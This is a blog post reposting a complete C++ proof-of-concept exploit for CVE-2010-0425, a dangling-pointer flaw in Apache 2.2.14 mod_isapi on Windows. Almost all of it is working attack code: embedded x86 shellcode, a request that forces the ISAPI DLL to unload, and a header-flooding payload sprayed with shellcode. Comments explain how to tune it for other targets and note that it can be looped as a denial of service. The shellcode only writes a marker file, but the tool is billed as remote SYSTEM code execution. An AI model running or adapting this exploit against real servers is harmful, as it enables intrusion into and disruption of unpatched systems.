Chinaunix首页 | 论坛 | 博客
  • 博客访问: 363039
  • 博文数量: 89
  • 博客积分: 3178
  • 博客等级: 中校
  • 技术积分: 965
  • 用 户 组: 普通用户
  • 注册时间: 2008-07-09 15:31
文章分类

全部博文(89)

文章存档

2013年(10)

2012年(33)

2011年(41)

2008年(5)

分类: 网络与安全

2012-02-24 11:26:48

Platform. Microsoft Windows
Affected versions. 2.2.14 verified and possibly others.
Proof of Concept. CPP 
Reference. 
            (This shellcode was used in the exploit for: CVE-2010-0425)
   

  1. /*
  2.  * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
  3.  * ------------------------------------------------------------------------------
  4.  *
  5.  * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
  6.  *
  7.  * Description:
  8.  * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
  9.  * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential
  10.  * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause
  11.  * a constant DoS by looping this (since apache will automatically restart) :)
  12.  *
  13.  * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
  14.  * success rate - tested on three different systems). Furthermore, the exploit code may require
  15.  * modification to exploit this vulnerability on different platforms. This is due to loaded memory
  16.  * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
  17.  * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
  18.  * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
  19.  * to have to use raw packets on Windows.
  20.  *
  21.  * Shellcode Note:
  22.  * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory.
  23.  * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
  24.  * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base
  25.  * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
  26.  * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
  27.  * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of
  28.  * msvcrt.dll. So the added check will verify the presents of "m" before proceeding.
  29.  *
  30.  * Author:
  31.  * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
  32.  *
  33.  * Copyright Sense of Security Pty Ltd 2010.
  34.  * http://www.senseofsecurity.com.au
  35.  */

  36. #include <iostream>
  37. #include <windows.h>
  38. #include <winsock.h>
  39. #include <string>
  40. #include <direct.h>

  41. #pragma comment(lib, "wsock32.lib")

  42. using namespace std;

  43. #define SERVER_PORT 80

  44. void header();
  45. int createConnection(string targetAddr, int targetPort);
  46. int sendTransmission(string message);
  47. string recvTransmission();
  48. void cleanUp();

  49. WORD sockVersion;
  50. WSADATA wsaData;

  51. int sock;
  52. struct sockaddr_in rserver;

  53. int main(int argc, char *argv[])
  54. {
  55.     string serverIP, isapiDLL;
  56.     string triggerVuln, payload;
  57.     char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

  58.     //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
  59.     //Note: There are four NOPs at the end for padding. Not really needed.
  60.     char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
  61.                      "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
  62.                      "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
  63.                      "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
  64.                      "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
  65.                      "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
  66.                      "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
  67.                      "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
  68.                      "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
  69.                      "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
  70.                      "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
  71.                      "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
  72.                      "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
  73.                      "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
  74.                      "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
  75.                      "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

  76.     header();

  77.     if (argc < 3)
  78.     {
  79.         printf("usage: %s \n", argv[0]);
  80.         return 1;
  81.     }

  82.     serverIP = string(argv[1]);
  83.     isapiDLL = string(argv[2]);

  84.     //all these values could be set to 7601 + sizeof(shellcode)
  85.     //but mixing it up is good.
  86.     memset(accept, 'A', 170);
  87.     memset(referer, 'A', 732);
  88.     memset(cookie, 'A', 5375);
  89.     memset(random, 'A', 7603);
  90.     memset(postData, 'A', 23378);
  91.     memset(footer, 'A', 298);

  92.     triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
  93.         "User-Agent: AAAAAAAA\r\n"
  94.         "Pragma: no-cache\r\n"
  95.         "Proxy-Connection: Keep-Alive\r\n"
  96.         "Host: " + serverIP + "\r\n"
  97.         "Content-Length: 40334\r\n\r\n" +
  98.         string(footer);

  99.     //Modify the below request if needed (depending on where your function pointer is pointing)
  100.     //Do so by adding or removing headers. So if you want to hit a higher function pointer,
  101.     //keep adding headers :)
  102.     //Note: If performing this blindly, try it a few times, change a bit, try again.
  103.     //During testing i found that using a chunk of data the same size with the same header name
  104.     //was more unreliable. In memory, large amounts of nulls are being placed either side of the
  105.     //payload. Since the function pointer address was random, by slightly mixing up the size of
  106.     //each header i would get better results.
  107.     payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
  108.         "Accept: " + string(accept) + "\r\n"
  109.         "Referer: " + string(referer) + string(shellcode) + "\r\n"
  110.         "From: " + string(cookie) + string(shellcode) + "\r\n"
  111.         "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
  112.         "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  113.         "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  114.         "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  115.         "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  116.         "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  117.         "Cookie: " + string(cookie) + string(shellcode) + "\r\n"
  118.         "Host: " + serverIP + "\r\n"
  119.         "Proxy-Connection: Keep-Alive\r\n"
  120.         "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
  121.         "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
  122.         "Asdasda: " + string(random) + string(shellcode) + "\r\n"
  123.         "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
  124.         "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
  125.         "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
  126.         "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  127.         "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  128.         "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  129.         "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  130.         "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  131.         "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  132.         "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  133.         "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  134.         "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  135.         "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  136.         "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  137.         "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  138.         "Content-Length: 25054\r\n\r\n" +
  139.         string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

  140.     //Setup connection
  141.     if (createConnection(serverIP, SERVER_PORT) == 1)
  142.     {
  143.         printf("- an error occurred connecting to the server\n");
  144.         return 1;
  145.     }

  146.     printf("[+] Connected to %s.\n", serverIP.c_str());

  147.     printf("[+] Setting socket data structure values\n");
  148.     int iOptVal;
  149.     int aiOptVal;
  150.     
  151.     struct linger linger_data;
  152.     
  153.     //This is meant to set closesocket to do a "graceful close",
  154.     //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is
  155.     //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent.
  156.     linger_data.l_onoff = 0;
  157.     linger_data.l_linger = 0;

  158.     setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
  159.     setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

  160.     //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
  161.     getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
  162.     getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
  163.     printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
  164.     printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);
  165.     
  166.     printf("[*] Triggering DLL unload\n");
  167.     sendTransmission(triggerVuln);

  168.     Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent.
  169.     WSACancelBlockingCall(); //Cause reset packet response

  170.     Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
  171.     closesocket(sock);

  172.     Sleep(2000);
  173.     WSACleanup();
  174.     
  175.     Sleep(2000);
  176.     printf("[+] The DLL should be unloaded by now\n");
  177.     
  178.     //Reconnect to deliver payload
  179.     if (createConnection(serverIP, SERVER_PORT) == 1)
  180.     {
  181.         printf("- an error occurred connecting to the server\n");
  182.         return 1;
  183.     }
  184.     
  185.     printf("[*] Sending payload\n");
  186.     sendTransmission(payload);

  187.     cleanUp();

  188.     printf("[+] Check to see if sos.txt was created...\n");

  189.     return 0;
  190. }

  191. void header()
  192. {
  193.     printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
  194.     printf("-------------------------------------------------------------\n");
  195.     printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
  196.     printf(" Copyright Sense of Security Pty Ltd 2010.\n");
  197. }

  198. //Setup the server
  199. int createConnection(string serverIP, int port)
  200. {
  201.     int result = 0, len = 0;

  202.     sockVersion = MAKEWORD(1,1);
  203.     WSAStartup(sockVersion, &wsaData);
  204.     
  205.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  206.     {
  207.         perror("error: socket()\n");
  208.         result = 1;
  209.     }

  210.     rserver.sin_family = AF_INET;
  211.     rserver.sin_port = htons(port);
  212.     rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
  213.     memset(&rserver.sin_zero, 0, 8);

  214.     len = sizeof(struct sockaddr_in);
  215.     
  216.     if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
  217.     {
  218.         perror("error: connect()\n");
  219.         result = 1;
  220.     }

  221.     return result;
  222. }

  223. //Send a message
  224. int sendTransmission(string message)
  225. {
  226.     int bytes_sent = 0;

  227.     bytes_sent = send(sock, message.c_str(), message.length(), 0);
  228.     if (bytes_sent < 0)
  229.     {
  230.         perror("error: send()\n");
  231.         exit(1);
  232.     }
  233.     
  234.     return bytes_sent;
  235. }

  236. //Receive a message
  237. string recvTransmission()
  238. {
  239.     string result;
  240.     char *c = new char[1];
  241.     int bytes_recv = 0;

  242.     while (c[0] != NULL)
  243.     {
  244.         bytes_recv = recv(sock, c, 1, 0);

  245.         if (bytes_recv < 0)
  246.         {
  247.             perror("error: recv()\n");
  248.             //exit(1);
  249.         }

  250.         result += c[0];
  251.     }

  252.     return result;
  253. }

  254. //Clean up the connection
  255. void cleanUp()
  256. {
  257.     closesocket(sock);
  258.     WSACleanup();
  259. }
阅读(8401) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~